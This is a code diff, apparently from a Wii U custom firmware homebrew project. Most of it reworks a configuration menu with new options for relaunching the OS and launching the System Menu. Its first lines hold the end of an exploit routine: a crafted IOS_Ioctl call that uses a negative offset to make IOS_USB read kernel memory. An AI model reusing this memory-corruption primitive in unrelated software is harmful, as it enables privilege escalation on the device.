DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
OSSleepTicks(0x200000); //! Improves stability
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
} }

View File

@ -36,7 +36,8 @@
#include "dynamic_libs/socket_functions.h" #include "dynamic_libs/socket_functions.h"
#include "cfw_config.h" #include "cfw_config.h"
#define MAX_CONFIG_SETTINGS 7 #define MAX_CONFIG_SETTINGS_EXPERT 9
#define MAX_CONFIG_SETTINGS_DEFAULT (MAX_CONFIG_SETTINGS_EXPERT - 3)
#define TEXT_SEL(x, text1, text2) ((x) ? (text1) : (text2)) #define TEXT_SEL(x, text1, text2) ((x) ? (text1) : (text2))
@ -49,6 +50,8 @@ struct {
{ "Config view mode", "expert", "default" }, { "Config view mode", "expert", "default" },
{ "Skip this menu on launch", "on", "off" }, { "Skip this menu on launch", "on", "off" },
{ "Show launch image", "on", "off" }, { "Show launch image", "on", "off" },
{ "Don't relaunch OS", "on", "off" },
{ "Launch System Menu", "on", "off" },
{ "redNAND", "on", "off" }, { "redNAND", "on", "off" },
{ "SEEPROM redirection", "on", "off" }, { "SEEPROM redirection", "on", "off" },
{ "OTP redirection", "on", "off" }, { "OTP redirection", "on", "off" },
@ -106,7 +109,7 @@ int ShowMenu(cfw_config_t * currentConfig)
cfw_config_t config; cfw_config_t config;
memcpy(&config, currentConfig, sizeof(cfw_config_t)); memcpy(&config, currentConfig, sizeof(cfw_config_t));
int max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS : 4; int max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS_EXPERT : MAX_CONFIG_SETTINGS_DEFAULT;
while(1) while(1)
{ {
@ -147,7 +150,7 @@ int ShowMenu(cfw_config_t * currentConfig)
{ {
case 0: case 0:
config.viewMode = !config.viewMode; config.viewMode = !config.viewMode;
max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS : 4; max_config_item = config.viewMode ? MAX_CONFIG_SETTINGS_EXPERT : MAX_CONFIG_SETTINGS_DEFAULT;
break; break;
case 1: case 1:
config.directLaunch = !config.directLaunch; config.directLaunch = !config.directLaunch;
@ -156,15 +159,21 @@ int ShowMenu(cfw_config_t * currentConfig)
config.launchImage = !config.launchImage; config.launchImage = !config.launchImage;
break; break;
case 3: case 3:
config.redNAND = !config.redNAND; config.noIosReload = !config.noIosReload;
break; break;
case 4: case 4:
config.seeprom_red = !config.seeprom_red; config.launchSysMenu = !config.launchSysMenu;
break; break;
case 5: case 5:
config.otp_red = !config.otp_red; config.redNAND = !config.redNAND;
break; break;
case 6: case 6:
config.seeprom_red = !config.seeprom_red;
break;
case 7:
config.otp_red = !config.otp_red;
break;
case 8:
config.syshaxXml = !config.syshaxXml; config.syshaxXml = !config.syshaxXml;
break; break;
default: default:
@ -181,6 +190,16 @@ int ShowMenu(cfw_config_t * currentConfig)
config.otp_red = 1; config.otp_red = 1;
} }
} }
if(config.noIosReload)
{
config.launchImage = 0;
config.redNAND = 0;
}
else
{
config.launchSysMenu = 1;
}
if(config.redNAND == 0) if(config.redNAND == 0)
{ {
config.seeprom_red = 0; config.seeprom_red = 0;
@ -202,7 +221,7 @@ int ShowMenu(cfw_config_t * currentConfig)
console_print_pos(x_offset, 4, "Press HOME to exit back to HBL."); console_print_pos(x_offset, 4, "Press HOME to exit back to HBL.");
console_print_pos(x_offset, 5, "Hold B on start to force enter this menu"); console_print_pos(x_offset, 5, "Hold B on start to force enter this menu");
int y_offset = 7; int y_offset = 6;
int option_count = sizeof(selection_options) / sizeof(selection_options[0]); int option_count = sizeof(selection_options) / sizeof(selection_options[0]);
int idx; int idx;
int * configPtr = &config.viewMode; int * configPtr = &config.viewMode;